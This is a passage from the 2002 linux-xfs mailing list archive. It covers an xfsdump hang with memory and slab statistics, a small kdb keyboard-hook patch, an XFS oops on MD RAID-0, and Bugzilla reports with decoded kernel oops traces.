[xfs_inactive_free_eofblocks+176/548] xfs_inactive_free_eofblocks+0xb0/0x224 [xfs_release+133/196] xfs_release+0x85/0xc4 [dput+27/348] dput+0x1b/0x15c [__fput+197/236] __fput+0xc5/0xec [linvfs_ioctl+34/76] linvfs_ioctl+0x22/0x4c [huft_build+1349/1852] huft_build+0x545/0x73c [huft_build+1349/1852] huft_build+0x545/0x73c [sys_ioctl+559/627] sys_ioctl+0x22f/0x273 [huft_build+1349/1852] huft_build+0x545/0x73c [syscall_call+7/11] syscall_call+0x7/0xb [huft_build+1349/1852] huft_build+0x545/0x73c I have kdb compiled in the kernel but I forgot how to use (drop into) it. Pressing Pause key, like documentation says, doesn't work. Anyway, I think the problem is not connected to inodes/dentries or anything related to slab allocator, slabs are recycled quite fast after xfsdump starts dumping to a file. Also there's really lots of memory in inactive state, so it's strange. To prove all that, I'm sending the output of few interesting files, taken when xfsdump stopped doing it job (and kernel spit allocation errors). /proc/meminfo: MemTotal: 772788 kB MemFree: 3984 kB MemShared: 0 kB Buffers: 39600 kB Cached: 585368 kB SwapCached: 0 kB Active: 167644 kB Inactive: 545868 kB HighTotal: 0 kB HighFree: 0 kB LowTotal: 772788 kB LowFree: 3984 kB SwapTotal: 2097136 kB SwapFree: 2097136 kB Dirty: 488 kB Writeback: 0 kB Mapped: 129308 kB Slab: 45808 kB Committed_AS: 139228 kB PageTables: 944 kB ReverseMaps: 49432 /proc/buddyinfo Node 0, zone DMA 42 4 1 1 1 0 1 0 0 0 0 Node 0, zone Normal 0 1 16 67 1 1 1 1 0 0 0 /proc/slabinfo slabinfo - version: 1.2 unix_sock 132 144 416 16 16 1 : 120 60 ip_conntrack 0 0 320 0 0 1 : 120 60 tcp_tw_bucket 0 0 96 0 0 1 : 248 124 tcp_bind_bucket 16 113 32 1 1 1 : 248 124 tcp_open_request 0 0 64 0 0 1 : 248 124 inet_peer_cache 0 0 64 0 0 1 : 248 124 secpath_cache 0 0 32 0 0 1 : 248 124 flow_cache 0 0 64 0 0 1 : 248 124 xfrm4_dst_cache 0 0 192 0 0 1 : 248 124 ip_fib_hash 6 113 32 1 1 1 : 248 124 ip_dst_cache 1 20 192 1 1 1 : 248 124 arp_cache 1 30 128 1 1 1 : 248 124 raw4_sock 0 0 448 0 0 1 : 120 60 udp_sock 1 9 448 1 1 1 : 120 60 tcp_sock 24 28 896 7 7 1 : 120 60 sgpool-MAX_PHYS_SEGMENTS 32 32 2048 16 16 1 : 54 27 sgpool-64 32 32 1024 8 8 1 : 120 60 sgpool-32 32 32 512 4 4 1 : 120 60 sgpool-16 32 45 256 3 3 1 : 248 124 sgpool-8 32 60 128 2 2 1 : 248 124 xfs_chashlist 3526 8080 16 40 40 1 : 248 124 xfs_ili 702 2604 140 93 93 1 : 248 124 xfs_ifork 0 0 56 0 0 1 : 248 124 xfs_efi_item 0 15 260 0 1 1 : 120 60 xfs_efd_item 0 15 260 0 1 1 : 120 60 xfs_buf_item 26 26 148 1 1 1 : 248 124 xfs_dabuf 10 202 16 1 1 1 : 248 124 xfs_da_state 0 11 336 0 1 1 : 120 60 xfs_trans 26 26 592 2 2 2 : 120 60 xfs_inode 26206 29640 392 2964 2964 1 : 120 60 xfs_btree_cur 18 29 132 1 1 1 : 248 124 xfs_bmap_free_item 0 253 12 0 1 1 : 248 124 page_buf_t 118 120 256 8 8 1 : 248 124 linvfs_icache 17157 26719 352 2429 2429 1 : 120 60 ntfs_big_inode_cache 669 2800 480 350 350 1 : 120 60 ntfs_inode_cache 2 20 192 1 1 1 : 248 124 ntfs_name_cache 0 0 512 0 0 1 : 120 60 ntfs_attr_ctx_cache 0 0 32 0 0 1 : 248 124 isofs_inode_cache 0 0 320 0 0 1 : 120 60 fat_inode_cache 18 165 352 15 15 1 : 120 60 eventpoll 0 0 96 0 0 1 : 248 124 kioctx 0 0 192 0 0 1 : 248 124 kiocb 0 0 160 0 0 1 : 248 124 dnotify_cache 16 169 20 1 1 1 : 248 124 file_lock_cache 12 40 96 1 1 1 : 248 124 fasync_cache 1 202 16 1 1 1 : 248 124 shmem_inode_cache 22 27 416 3 3 1 : 120 60 uid_cache 4 113 32 1 1 1 : 248 124 deadline_drq 2304 2373 32 21 21 1 : 248 124 blkdev_requests 2048 2064 160 86 86 1 : 248 124 biovec-BIO_MAX_PAGES 256 260 3072 52 52 4 : 54 27 biovec-128 256 260 1536 52 52 2 : 54 27 biovec-64 256 260 768 52 52 1 : 120 60 biovec-16 268 280 192 14 14 1 : 248 124 biovec-4 280 295 64 5 5 1 : 248 124 biovec-1 274 606 16 3 3 1 : 248 124 bio 295 472 64 8 8 1 : 248 124 sock_inode_cache 170 198 352 18 18 1 : 120 60 skbuff_head_cache 161 408 160 17 17 1 : 248 124 sock 4 11 352 1 1 1 : 120 60 proc_inode_cache 221 828 320 69 69 1 : 120 60 sigqueue 142 145 132 5 5 1 : 248 124 radix_tree_node 10702 13702 288 1054 1054 1 : 120 60 cdev_cache 16 118 64 2 2 1 : 248 124 bdev_cache 14 40 96 1 1 1 : 248 124 mnt_cache 24 59 64 1 1 1 : 248 124 inode_cache 420 420 320 35 35 1 : 120 60 dentry_cache 16274 40740 128 1358 1358 1 : 248 124 filp 1462 1470 128 49 49 1 : 248 124 names_cache 4 4 4096 4 4 1 : 54 27 buffer_head 66334 85956 48 1102 1102 1 : 248 124 mm_struct 69 70 384 7 7 1 : 120 60 vm_area_struct 2980 3080 96 77 77 1 : 248 124 fs_cache 68 177 64 3 3 1 : 248 124 files_cache 68 72 416 8 8 1 : 120 60 signal_act 66 66 1344 22 22 1 : 54 27 task_struct 110 110 1568 22 22 2 : 54 27 pte_chain 8607 14125 32 125 125 1 : 248 124 size-131072(DMA) 0 0 131072 0 0 32 : 8 4 size-131072 0 0 131072 0 0 32 : 8 4 size-65536(DMA) 0 0 65536 0 0 16 : 8 4 size-65536 0 0 65536 0 0 16 : 8 4 size-32768(DMA) 0 0 32768 0 0 8 : 8 4 size-32768 16 16 32768 16 16 8 : 8 4 size-16384(DMA) 0 0 16384 0 0 4 : 8 4 size-16384 2 4 16384 2 4 4 : 8 4 size-8192(DMA) 0 0 8192 0 0 2 : 8 4 size-8192 17 17 8192 17 17 2 : 8 4 size-4096(DMA) 0 0 4096 0 0 1 : 54 27 size-4096 370 378 4096 370 378 1 : 54 27 size-2048(DMA) 0 0 2048 0 0 1 : 54 27 size-2048 42 60 2048 22 30 1 : 54 27 size-1024(DMA) 0 0 1024 0 0 1 : 120 60 size-1024 252 252 1024 63 63 1 : 120 60 size-512(DMA) 0 0 512 0 0 1 : 120 60 size-512 204 264 512 32 33 1 : 120 60 size-256(DMA) 0 0 256 0 0 1 : 248 124 size-256 168 180 256 12 12 1 : 248 124 size-192(DMA) 0 0 192 0 0 1 : 248 124 size-192 892 1000 192 50 50 1 : 248 124 size-128(DMA) 0 0 128 0 0 1 : 248 124 size-128 1131 1470 128 49 49 1 : 248 124 size-96(DMA) 0 0 96 0 0 1 : 248 124 size-96 2492 3160 96 79 79 1 : 248 124 size-64(DMA) 0 0 64 0 0 1 : 248 124 size-64 2794 4720 64 80 80 1 : 248 124 size-32(DMA) 0 0 32 0 0 1 : 248 124 size-32 1499 1921 32 17 17 1 : 248 124 kmem_cache 128 128 120 4 4 1 : 248 124 -- Zlatko From owner-linux-xfs@oss.sgi.com Sat Nov 16 12:57:50 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 12:57:55 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGKvouR003767 for ; Sat, 16 Nov 2002 12:57:50 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id EFA931F1A8E; Sat, 16 Nov 2002 12:59:42 -0800 (PST) Date: Sat, 16 Nov 2002 12:59:42 -0800 From: Chris Wedgwood To: Zlatko Calusic Cc: Andrew Morton , Andi Kleen , linux-xfs@oss.sgi.com, Keith Owens Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021116205942.GA32365@tapu.f00f.org> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> <87zns9xwtk.fsf@atlas.iskon.hr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <87zns9xwtk.fsf@atlas.iskon.hr> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1749 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Sat, Nov 16, 2002 at 06:12:55PM +0100, Zlatko Calusic wrote: > Chris, unfortunately here I have exactly the same problems with the > code from CVS pulled today, so the bug is not really solved. I'll try and older kernel then and see if I can reproduce it, for whatever reason right now, I'm having no luck making this happen again. Oddly, I *always* got the hang at the start of a dump which followed a previous dump... and at the start xfsdump does call blkstat at about where the problem was occurring so I'm getting suspicious of that again. I have code that uses blkstat as a test, I'll see if I can cause a lockup running that in a loop whilst grinding the VM hard. > pressed Alt-Sysrq-T after the xfsdump got stuck and got this: > [xfs_bulkstat+2123/2824] xfs_bulkstat+0x84b/0xb08 [...] > [xfs_inactive_free_eofblocks+176/548] xfs_inactive_free_eofblocks+0xb0/0x224 I cant see how those can both be in the same call path. Have you tried without preempt? I wondered if that might aggregate things? > I have kdb compiled in the kernel but I forgot how to use (drop > into) it. Pressing Pause key, like documentation says, doesn't work. 2.5.x is missing the hook for this, Keith sent me this patch so enable again. --- drivers/char/keyboard.c.orig Sat Oct 12 18:29:31 2002 +++ drivers/char/keyboard.c Wed Nov 13 08:58:22 2002 @@ -41,6 +41,9 @@ #include #include #include +#ifdef CONFIG_KDB +#include +#endif /* CONFIG_KDB */ static void kbd_disconnect(struct input_handle *handle); extern void ctrl_alt_del(void); @@ -1029,6 +1032,13 @@ if (emulate_raw(vc, keycode, !down << 7)) printk(KERN_WARNING "keyboard.c: can't emulate rawmode for keycode %d\n", keycode); +#ifdef CONFIG_KDB + if (down && keycode == KEY_PAUSE && kdb_on) { + kdb(KDB_REASON_KEYBOARD, 0, kbd_pt_regs); + return; + } +#endif /* CONFIG_KDB */ + #ifdef CONFIG_MAGIC_SYSRQ /* Handle the SysRq Hack */ if (keycode == KEY_SYSRQ && !rep) { sysrq_down = sysrq_alt && down; 'GO' doesn't continue running as expected though, kdb just renters as if it hadn't noticed had been released. For me this wasn't a problem however. --cw From owner-linux-xfs@oss.sgi.com Sat Nov 16 13:01:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 13:01:33 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGL1VuR004256 for ; Sat, 16 Nov 2002 13:01:31 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 457481F19E6; Sat, 16 Nov 2002 13:03:24 -0800 (PST) Date: Sat, 16 Nov 2002 13:03:24 -0800 From: Chris Wedgwood To: Andi Kleen Cc: Zlatko Calusic , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021116210324.GA32407@tapu.f00f.org> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <20021115164012.A28685@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021115164012.A28685@wotan.suse.de> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1750 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 04:40:12PM +0100, Andi Kleen wrote: > It may be possible to just hack the user space program to limit the > data currently in flight, but that would likely impact performance > somewhat. Better than doing no backups though. That still leaves a possible DoS though. --cw From owner-linux-xfs@oss.sgi.com Sat Nov 16 14:55:21 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 14:55:27 -0800 (PST) Received: from zero.aec.at (personne@zero.aec.at [193.170.194.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAGMtJuR005757 for ; Sat, 16 Nov 2002 14:55:20 -0800 Received: from averell.firstfloor.org (ul-kuiski@localhost.localdomain [127.0.0.1]) by zero.aec.at (8.11.6/8.11.2) with ESMTP id gAGMv2D01227 for ; Sat, 16 Nov 2002 23:57:02 +0100 Received: by averell.firstfloor.org (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 940B6697EB; Sat, 16 Nov 2002 23:57:06 +0100 (CET) Date: Sat, 16 Nov 2002 23:57:06 +0100 From: Andi Kleen To: linux-xfs@oss.sgi.com Subject: 2.5.47 XFS over MD RAID-0 broken Message-ID: <20021116225706.GA1976@averell> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 1751 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: linux-xfs When trying to mount an XFS file system on a RAID-0 MD in 2.5.47 one gets an oops during log replay. -Andi md: linear personality registered as nr 1 md: raid0 personality registered as nr 2 md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 md: Autodetecting RAID arrays. atkbd.c: Unknown key (set 2, scancode 0x9d, on isa0060/serio0) pressed. md: autorun ... md: considering sdb3 ... md: adding sdb3 ... md: adding sda2 ... md: created md0 md: bind md: bind md: running: md0: max total readahead window set to 496k md0: 2 data-disks, max readahead per data-disk: 248k md0: setting max_sectors to 64, segment boundary to 16383 raid0: looking at sdb3 raid0: comparing sdb3(20972736) with sdb3(20972736) raid0: END raid0: ==> UNIQUE raid0: 1 zones raid0: looking at sda2 raid0: comparing sda2(20972736) with sdb3(20972736) raid0: EQUAL raid0: FINAL 1 zones raid0: done. raid0 : md_size is 41945472 blocks. raid0 : conf->smallest->size is 41945472 blocks. raid0 : nb_zone is 1. raid0 : Allocating 8 bytes for hash. md: updating md0 RAID superblock on device md: sdb3 <6>(write) sdb3's sb offset: 20972736 md: sda2 <6>(write) sda2's sb offset: 20972736 md: ... autorun DONE. [...] SGI XFS CVS-09/15/02:17 with no debug enabled XFS mounting filesystem md(9,0) ------------[ cut here ]------------ kernel BUG at drivers/block/ll_rw_blk.c:1910! invalid operand: 0000 xfs CPU: 0 EIP: 0060:[] Not tainted EFLAGS: 00010246 EIP is at submit_bio+0x8f/0x9a eax: 00000000 ebx: f6a79204 ecx: 0000001f edx: 00000000 esi: 00000000 edi: 0000001c ebp: 0001c000 esp: f6871b14 ds: 0068 es: 0068 ss: 0068 Process mount (pid: 800, threadinfo=f6870000 task=f68ed080) Stack: f6a79204 00001000 f6a79204 fccd3667 00000000 f6a79204 00001000 00000000 02801c74 00000000 0000001c 00000004 f738a650 00000020 f67c0000 f6a5a9bc 00000000 fccd23c4 00000080 000001d0 f67c0000 00000020 f6a5a9bc fccd2db7 Call Trace: [] pagebuf_iorequest+0x237/0x3b2 [xfs] [] _pagebuf_get_pages+0xac/0xc4 [xfs] [] pagebuf_associate_memory+0x71/0x176 [xfs] [] xfsbdstrat+0x28/0x2e [xfs] [] xlog_bread+0x57/0xa0 [xfs] [] xlog_find_verify_cycle+0xef/0x206 [xfs] [] __down_failed+0x8/0xc [] xlog_find_head+0x1b9/0x442 [xfs] [] xlog_find_tail+0x1d/0x43e [xfs] [] _pagebuf_initialize+0x40/0x116 [xfs] [] pagebuf_get_empty+0x52/0x5c [xfs] [] xlog_recover+0x37/0xee [xfs] [] xfs_log_mount+0x8f/0xe2 [xfs] [] xfs_mountfs+0x5d5/0x125a [xfs] [] __down_failed+0x8/0xc [] pagebuf_get+0x12e/0x142 [xfs] [] xfs_readsb+0x99/0xf2 [xfs] [] xfs_mount+0x20c/0x2cc [xfs] [] linvfs_fill_super+0x160/0x2c6 [xfs] [] vsprintf+0x27/0x2c [] sprintf+0x1f/0x24 [] sb_set_blocksize+0x25/0x54 [] get_sb_bdev+0x223/0x26e [] kmalloc+0x95/0xb6 [] alloc_vfsmnt+0x9e/0xda [] xfs_fs_type+0x0/0x20 [xfs] [] linvfs_get_sb+0x2f/0x34 [xfs] [] xfs_fs_type+0x0/0x20 [xfs] [] linvfs_fill_super+0x0/0x2c6 [xfs] [] do_kern_mount+0x5f/0xd4 [] xfs_fs_type+0x0/0x20 [xfs] [] do_add_mount+0x89/0x184 [] do_mount+0x181/0x1ca [] copy_from_user+0x4c/0x50 [] sys_mount+0xdc/0x110 [] syscall_call+0x7/0xb Code: 0f 0b 76 07 8f a6 41 c0 eb 86 90 55 57 56 53 83 ec 24 c7 44 From owner-linux-xfs@oss.sgi.com Sat Nov 16 16:34:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 16:35:01 -0800 (PST) Received: from mail.iskon.hr (inje.iskon.hr [213.191.128.16]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAH0YtuR007515 for ; Sat, 16 Nov 2002 16:34:56 -0800 Received: (qmail 6040 invoked from network); 17 Nov 2002 01:36:35 +0100 Received: from atlas.iskon.hr (root@213.191.131.6) by mail.iskon.hr with SMTP; 17 Nov 2002 01:36:35 +0100 Received: from atlas.iskon.hr (zcalusic@localhost [127.0.0.1]) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) with ESMTP id gAH0aXlE003413; Sun, 17 Nov 2002 01:36:33 +0100 Received: (from zcalusic@localhost) by atlas.iskon.hr (8.12.6/8.12.6/Debian-8) id gAH0aRv2003412; Sun, 17 Nov 2002 01:36:27 +0100 To: Chris Wedgwood Cc: Andrew Morton , Andi Kleen , linux-xfs@oss.sgi.com, Keith Owens Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> <87zns9xwtk.fsf@atlas.iskon.hr> <20021116205942.GA32365@tapu.f00f.org> Reply-To: zlatko.calusic@iskon.hr X-Face: s71Vs\G4I3mB$X2=P4h[aszUL\%"`1!YRYl[JGlC57kU-`kxADX}T/Bq)Q9.$fGh7lFNb.s i&L3xVb:q_Pr}>Eo(@kU,c:3:64cR]m@27>1tGl1):#(bs*Ip0c}N{:JGcgOXd9H'Nwm:}jLr\FZtZ pri/C@\,4lW<|jrq^<):Nk%Hp@G&F"r+n1@BoH From: Zlatko Calusic Date: Sun, 17 Nov 2002 01:36:27 +0100 In-Reply-To: <20021116205942.GA32365@tapu.f00f.org> (Chris Wedgwood's message of "Sat, 16 Nov 2002 12:59:42 -0800") Message-ID: <87y97tqbg4.fsf@atlas.iskon.hr> Lines: 13 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Honest Recruiter, i386-debian-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 1752 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: zlatko.calusic@iskon.hr Precedence: bulk X-list: linux-xfs Chris Wedgwood writes: > >> [xfs_bulkstat+2123/2824] xfs_bulkstat+0x84b/0xb08 > [...] >> [xfs_inactive_free_eofblocks+176/548] xfs_inactive_free_eofblocks+0xb0/0x224 > > I cant see how those can both be in the same call path. Have you > tried without preempt? I wondered if that might aggregate things? > All my kernels are already without preempt. -- Zlatko From owner-linux-xfs@oss.sgi.com Sat Nov 16 17:43:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 16 Nov 2002 17:43:59 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAH1htuR008599 for ; Sat, 16 Nov 2002 17:43:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAH1hsX4008598 for linux-xfs@oss.sgi.com; Sat, 16 Nov 2002 17:43:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAH1hruT008582 for ; Sat, 16 Nov 2002 17:43:53 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAH1d8Al008545; Sat, 16 Nov 2002 17:39:08 -0800 Date: Sat, 16 Nov 2002 17:39:08 -0800 Message-Id: <200211170139.gAH1d8Al008545@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 195] xfs_fsr results in oops X-Bugzilla-Reason: AssignedTo X-archive-position: 1753 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=195 c.pascoe@itee.uq.edu.au changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |INVALID ------- Additional Comments From c.pascoe@itee.uq.edu.au 2002-11-16 17:39 ------- It turnds out that the kernel that I was testing with had the experimental Direct I/O for NFS patches applied (but disabled) as part of a NFS client fix/patch bundle. The patch changes the interface to the direct IO operations; as XFS was not in-tree, it was not modified. Fixing this manually (or backing out the offending patch) resolves the problem. Sorry for the noise. Chris ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 01:43:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 01:43:59 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAH9htuR025015 for ; Sun, 17 Nov 2002 01:43:55 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAH9hs43025014 for linux-xfs@oss.sgi.com; Sun, 17 Nov 2002 01:43:54 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gAH9hruT025000 for ; Sun, 17 Nov 2002 01:43:53 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gAH9dtBx024981; Sun, 17 Nov 2002 01:39:55 -0800 Date: Sun, 17 Nov 2002 01:39:55 -0800 Message-Id: <200211170939.gAH9dtBx024981@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 196] New: 2.4.18 oops after lvextend X-Bugzilla-Reason: AssignedTo X-archive-position: 1754 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=196 Summary: 2.4.18 oops after lvextend Product: Linux XFS Version: unspecified Platform: IA32 OS/Version: Linux Status: NEW Severity: critical Priority: Medium Component: XFS kernel code AssignedTo: xfs-master@oss.sgi.com ReportedBy: dm@belkam.com What kernel are you using: 2.4.18-xfs kernel from kernel.org with xfs patch from ftp.sgi.com Description of Problem: After lvextend and xfs_growfs kernel produces following oops: Nov 15 14:33:19 p100 kernel: Unable to handle kernel NULL pointer dereference at virtual address 00000008 Nov 15 14:33:19 p100 kernel: printing eip: Nov 15 14:33:19 p100 kernel: c019a467 Nov 15 14:33:19 p100 kernel: *pde = 00000000 Nov 15 14:33:19 p100 kernel: Oops: 0000 Nov 15 14:33:19 p100 kernel: CPU: 0 Nov 15 14:33:19 p100 kernel: EIP: 0010:[xfs_alloc_mark_busy+47/136] Not tainted Nov 15 14:33:19 p100 kernel: EFLAGS: 00010046 Nov 15 14:33:19 p100 kernel: eax: 00000051 ebx: 00000000 ecx: 00000048 edx: 00000000 Nov 15 14:33:19 p100 kernel: esi: d7614a00 edi: d30cb490 ebp: 00000009 esp: c1835890 Nov 15 14:33:19 p100 kernel: ds: 0018 es: 0018 ss: 0018 Nov 15 14:33:19 p100 kernel: Process kupdated (pid: 6, stackpage=c1835000) Nov 15 14:33:19 p100 kernel: Stack: 00000000 dc785200 d30cb490 dc785600 00000286 c0199cb4 d30cb490 00000009 Nov 15 14:33:19 p100 kernel: 00000004 00000001 dc785200 00000004 d30cb490 00000004 c0199a42 d30cb490 Nov 15 14:33:19 p100 kernel: d9273200 d9273740 00000004 df66cde8 df66cc00 c1835b6c 00000007 00000000 Nov 15 14:33:19 p100 kernel: Call Trace: [xfs_alloc_put_freelist+192/204] [xfs_alloc_fix_freelist+1062/1132] [xfs_alloc_vextent+884/1092] [xfs_alloc_pagf_init+57/68] [xfs_bmap_alloc+8066/8960] Nov 15 14:33:19 p100 kernel: [xfs_bmbt_get_state+51/60] [xfs_bmbt_get_state+51/60] [xfs_bmap_do_search_extents+923/964] [xfs_bmapi+2241/4892] [xlog_grant_push_ail+56/352] [xlog_grant_log_space+164/568] Nov 15 14:33:20 p100 kernel: [xfs_strategy+1608/2268] [linvfs_pb_bmap+0/208][pagebuf_get+55/228] [linvfs_pb_bmap+128/208] [linvfs_pb_bmap+0/208] [pagebuf_delalloc_convert+60/164] Nov 15 14:33:20 p100 kernel: [xfs_iflush_int+661/756] [xfs_iflush_int+735/756] [pagebuf_delwri_queue+112/120] [pagebuf_write_full_page+107/372] [linvfs_pb_bmap+0/208] [xfs_trans_first_ail+19/36] Nov 15 14:33:20 p100 kernel: [linvfs_write_full_page+44/72] [linvfs_pb_bmap+0/208] [_write_buffer+82/108] [write_some_buffers+112/244] [xfs_sync+21/28] [linvfs_write_super+43/48] Nov 15 14:33:20 p100 kernel: [sync_supers+207/228] [sync_old_buffers+31/64] [kupdate+253/260] [rest_init+0/40] [kernel_thread+26/48] [kernel_thread+35/48] Nov 15 14:33:20 p100 kernel: Nov 15 14:33:20 p100 kernel: Code: 83 7a 08 00 74 09 83 c2 0c 43 83 fb 53 7e f1 83 fb 53 7f 35 ksymoops result: ksymoops 0.7c on i686 2.4.18-xfs. Options used -V (default) -k /proc/ksyms (default) -l /proc/modules (default) -o /lib/modules/2.4.18-xfs/ (default) -m /boot/System.map (specified) Warning (compare_maps): mismatch on symbol partition_name , ksyms_base says c024f770, System.map says c0150ba0. Ignoring ksyms_base entry Nov 15 14:33:19 p100 kernel: Unable to handle kernel NULL pointer dereference at Nov 15 14:33:19 p100 kernel: c019a467 Nov 15 14:33:19 p100 kernel: *pde = 00000000 Nov 15 14:33:19 p100 kernel: Oops: 0000 Nov 15 14:33:19 p100 kernel: CPU: 0 Nov 15 14:33:19 p100 kernel: EIP: 0010:[xfs_alloc_mark_busy+47/136] Not tainted Nov 15 14:33:19 p100 kernel: EFLAGS: 00010046 Nov 15 14:33:19 p100 kernel: eax: 00000051 ebx: 00000000 ecx: 00000048 edx: 00000000 Nov 15 14:33:19 p100 kernel: esi: d7614a00 edi: d30cb490 ebp: 00000009 esp: c1835890 Nov 15 14:33:19 p100 kernel: ds: 0018 es: 0018 ss: 0018 Nov 15 14:33:19 p100 kernel: Process kupdated (pid: 6, stackpage=c1835000) Nov 15 14:33:19 p100 kernel: Stack: 00000000 dc785200 d30cb490 dc785600 00000286 c0199cb4 d30cb490 00000009 Nov 15 14:33:19 p100 kernel: 00000004 00000001 dc785200 00000004 d30cb490 00000004 c0199a42 d30cb490 Nov 15 14:33:19 p100 kernel: d9273200 d9273740 00000004 df66cde8 df66cc00 c1835b6c 00000007 00000000 Nov 15 14:33:19 p100 kernel: Call Trace: [xfs_alloc_put_freelist+192/204] [xfs_alloc_fix_freelist+1062/1132] [xfs_alloc_vextent+884/1092] [xfs_alloc_pagf_init+57/68] [xfs_bmap_alloc+8066/8960] Nov 15 14:33:20 p100 kernel: Code: 83 7a 08 00 74 09 83 c2 0c 43 83 fb 53 7e f1 Using defaults from ksymoops -t elf32-i386 -a i386 Code; 00000000 Before first symbol 00000000 <_EIP>: Code; 00000000 Before first symbol 0: 83 7a 08 00 cmpl $0x0,0x8(%edx) Code; 00000004 Before first symbol 4: 74 09 je f <_EIP+0xf> 0000000f Before first symbol Code; 00000006 Before first symbol 6: 83 c2 0c add $0xc,%edx Code; 00000009 Before first symbol 9: 43 inc %ebx Code; 0000000a Before first symbol a: 83 fb 53 cmp $0x53,%ebx Code; 0000000d Before first symbol d: 7e f1 jle 0 <_EIP> 1 warning issued. Results may not be reliable. Bug is not 100% reproducable. But this oops results in frozed smb processes and I have to reboot server ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Sun Nov 17 05:19:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 17 Nov 2002 05:19:36 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAHDJVuR002438 for ; Sun, 17 Nov 2002 05:19:31 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAHBLPG8013497 for ; Sun, 17 Nov 2002 03:21:25 -0800 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id HAA83757; Sun, 17 Nov 2002 07:21:21 -0600 (CST) Received: from 